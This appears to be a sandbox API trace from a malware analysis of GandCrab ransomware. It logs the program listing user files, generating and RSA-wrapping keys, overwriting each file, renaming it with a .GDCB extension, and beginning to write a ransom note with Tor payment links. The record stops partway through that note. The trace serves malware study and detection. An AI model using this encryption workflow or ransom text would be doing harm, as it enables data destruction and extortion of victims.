lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" [0054.634] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB" [0054.634] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5900a0) returned 1 [0054.634] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.634] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.634] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.634] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0054.634] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.634] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.635] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.635] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.635] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.635] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.635] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.635] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.635] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.636] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.637] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8a70) returned 1 [0054.637] CryptGetKeyParam (in: hKey=0x5b8a70, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.638] CryptEncrypt (in: hKey=0x5b8a70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.638] GetLastError () returned 0x0 [0054.638] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.638] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58fc60) returned 1 [0054.640] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b86b0) returned 1 [0054.640] CryptGetKeyParam (in: hKey=0x5b86b0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.640] CryptEncrypt (in: hKey=0x5b86b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.640] GetLastError () returned 0x0 [0054.640] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.640] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.640] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.640] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.641] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x100000, lpOverlapped=0x0) returned 1 [0054.651] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.658] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0054.670] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.672] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.672] WriteFile (in: hFile=0x4fc, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285ed30*=0x100000, lpOverlapped=0x0) returned 1 [0054.674] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.677] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x6438a, lpOverlapped=0x0) returned 1 [0054.682] VirtualAlloc (lpAddress=0x0, dwSize=0x64390, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.685] VirtualAlloc (lpAddress=0x0, dwSize=0x64390, flAllocationType=0x3000, flProtect=0x4) returned 0x2a20000 [0054.688] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.689] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-410506, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x100000 [0054.689] WriteFile (in: hFile=0x4fc, lpBuffer=0x2a20000*, nNumberOfBytesToWrite=0x64390, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2a20000*, lpNumberOfBytesWritten=0x285ed30*=0x64390, lpOverlapped=0x0) returned 1 [0054.690] VirtualFree (lpAddress=0x2a20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.691] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.694] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.694] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.694] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.694] CloseHandle (hObject=0x4fc) returned 1 [0054.710] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.710] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.711] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.711] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm.gdcb")) returned 1 [0054.711] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.711] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.712] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.712] lstrcmpW (lpString1="Welcome to Excel.xltx", lpString2=".") returned 1 [0054.712] lstrcmpW (lpString1="Welcome to Excel.xltx", lpString2="..") returned 1 [0054.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" [0054.712] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.712] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79 [0054.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79 [0054.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79 [0054.712] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="desktop.ini") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="autorun.inf") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="ntuser.dat") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="iconcache.db") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="bootsect.bak") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="boot.ini") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="ntuser.dat.log") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="thumbs.db") returned 1 [0054.712] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="GDCB-DECRYPT.txt") returned 1 [0054.712] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx")) returned 0x20 [0054.713] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", dwFileAttributes=0x20) returned 1 [0054.713] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0054.713] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" [0054.713] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB" [0054.713] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.714] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.714] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.714] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0054.714] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.714] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.714] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x58fc60) returned 1 [0054.714] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0054.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0054.715] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0054.715] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0054.715] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0054.715] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.715] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0054.715] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0054.715] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5902c0) returned 1 [0054.717] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8cb0) returned 1 [0054.717] CryptGetKeyParam (in: hKey=0x5b8cb0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.717] CryptEncrypt (in: hKey=0x5b8cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0054.717] GetLastError () returned 0x0 [0054.717] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0054.717] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x58ff08) returned 1 [0054.719] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x5b8ab0) returned 1 [0054.719] CryptGetKeyParam (in: hKey=0x5b8ab0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0054.719] CryptEncrypt (in: hKey=0x5b8ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0054.719] GetLastError () returned 0x0 [0054.719] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0054.719] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.720] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0054.720] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0054.720] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x78c9b, lpOverlapped=0x0) returned 1 [0054.727] VirtualAlloc (lpAddress=0x0, dwSize=0x78ca0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0054.730] VirtualAlloc (lpAddress=0x0, dwSize=0x78ca0, flAllocationType=0x3000, flProtect=0x4) returned 0x2a30000 [0054.736] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.737] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-494747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.737] WriteFile (in: hFile=0x4fc, lpBuffer=0x2a30000*, nNumberOfBytesToWrite=0x78ca0, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2a30000*, lpNumberOfBytesWritten=0x285ed30*=0x78ca0, lpOverlapped=0x0) returned 1 [0054.738] VirtualFree (lpAddress=0x2a30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.739] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.742] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.742] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285ed30*=0x100, lpOverlapped=0x0) returned 1 [0054.742] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285ed30, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285ed30*=0x10, lpOverlapped=0x0) returned 1 [0054.742] CloseHandle (hObject=0x4fc) returned 1 [0054.747] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.747] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.748] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.748] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx.gdcb")) returned 1 [0054.748] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.748] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.749] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.749] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.749] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.749] lstrcmpW (lpString1="tubcvd.exe", lpString2=".") returned 1 [0054.749] lstrcmpW (lpString1="tubcvd.exe", lpString2="..") returned 1 [0054.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="tubcvd.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0054.749] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.749] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0054.749] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0054.749] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.749] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.749] lstrcmpW (lpString1="UProof", lpString2=".") returned 1 [0054.749] lstrcmpW (lpString1="UProof", lpString2="..") returned 1 [0054.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0054.749] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\" [0054.749] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.749] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.749] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned 55 [0054.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*" [0054.750] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8af0 [0054.750] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.750] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.750] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.750] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.750] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.750] lstrcmpW (lpString1="CUSTOM.DIC", lpString2=".") returned 1 [0054.750] lstrcmpW (lpString1="CUSTOM.DIC", lpString2="..") returned 1 [0054.750] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="CUSTOM.DIC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" [0054.750] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 65 [0054.750] lstrcmpW (lpString1=".DIC", lpString2=".sql") returned -1 [0054.750] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.751] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.751] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.751] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\\\GDCB-DECRYPT.txt") returned 72 [0054.751] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.751] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. 